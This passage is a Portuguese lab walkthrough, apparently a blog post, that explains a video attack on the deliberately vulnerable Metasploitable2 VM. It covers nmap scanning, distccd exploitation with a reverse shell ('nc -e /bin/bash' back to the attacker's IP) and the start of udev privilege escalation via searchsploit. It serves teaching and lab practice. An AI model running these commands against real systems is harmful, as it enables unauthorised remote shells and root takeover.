e mostraro que fazer, porque isso ja se tem no video, e sim de maneira clara e diretatentar explicar o porque de tais passos. Primeiramente recomendo que voce vejao video:Antes de comecarmos veja abaixo o cenariocriado no video:Passo 1Foi usado a ferramenta nmap paratentar obter a versao do Sistema Operacional (-O) e a versao dos servicos (-sV)que poderao estar escutando entre as portas 1 e 65535 (-p1-65535) da maquina192.168.2.58 (Metasploitable2). Podemos ver que o resultado do comando mostraque a porta 3632/TCP esta aberta e mostra tambem a versao do Distccd.Passo 2Nessa etapa ele mencionou que iriafazer uma busca na base de exploits usando como palavra-chave"distcc", como podemos ver nao foi isso que foi feito. Se essa buscafosse realizada retornaria dois exploits que pertence ao projeto Metasploit,como nao e o nosso foco usar o Metasploit entao nao serve. Outra coisa que deveser observado e que esta etapa nao deveria acontecer nesse momento, e sim sodepois de ja ter invadido o servidor, onde em seguida ele buscaria algumabrecha no sistema para elevar seus privilegios. Vamos fazer assim, digamos queele ainda nao realizou essa etapa e no momento certo a executaremos.Passo 3Bom, so para deixar claro esse seriao nosso segundo passo apesar de estar passo 3. Primeiramente vamos falar doscript do Nmap. Esse script detecta e explora a vulnerabilidade do Distccd epode ser usado para executar algum comando na maquina alvo, foi exatamente issoque foi feito com a opcao:--script-args="distcc-exec.cmd='nc-e /bin/bash 192.168.2.41 6676'". Neste caso o comando nc e executado, a opcao -e indica o quedevera ser executado depois que a conexao e estabelecida, neste caso a nossashell (/bin/bash). Neste cenario temos uma conexao reversa, mas para funcionartemos que executar o comando nc em um terminal da maquina de IP 192.168.2.41 (BackTrack)para escutar na porta 6676, assim a maquina alvo vai se conectar na nossa maquinapela porta 6676. Abra outro terminal e execute o comando abaixo:#nc -vnlp 6676Agora so e executar o comando nmapabaixo:#nmap-p 3632 192.168.2.58 --script distcc-cve2004-2687--script-args="distcc-exec.cmd='nc -e /bin/bash 192.168.2.41 6676'"E na tela onde executou o nc paraescutar na porta 6676 e so executar qualquer comando do linux. No video eleexecuta o uname, para obter informacoes do sistema e depois executa o comandoid, para ver suas permissoes no sistema, neste caso uid=1 (daemon) que e umusuario sem privilegios.Passo 4Lembra do passo 2? Agora chegou ahora dele. Ja conseguimos invadir o sistema e sabemos que nao somos root,proximo passo escalar privilegio, ou seja, vamos virar root na maquina. Existemvarios programas que agilizam este processo, nao vou detalhar aqui isso, facauma busca pelo Google. Com informacoes sobre o sistema podemos buscar porexploits conhecidos, neste caso sabemos que se trata do Metasploitable2, sendoassim e um Ubuntu 8.04 que por padrao vem com o distcc vulneravel (http://www.ubuntu.com/usn/usn-758-1/),tendo essas informacoes vamos realizar o que seria nosso passo 2.Ele buscou na base de exploits setem algo para o udev:#cd/pentest/exploits/exploitdb#./searchsploitudev linux localRetornou duas opcoes, neste caso eleusou o segundo exploit (8572.c). Proximo passo seria copiar esse arquivo para amaquina alvo, para isso ele copiou o exploit para dentro do /var/ww renomeandopara udev.c. Esse diretorio e padrao do Apache Linux, que esta rodando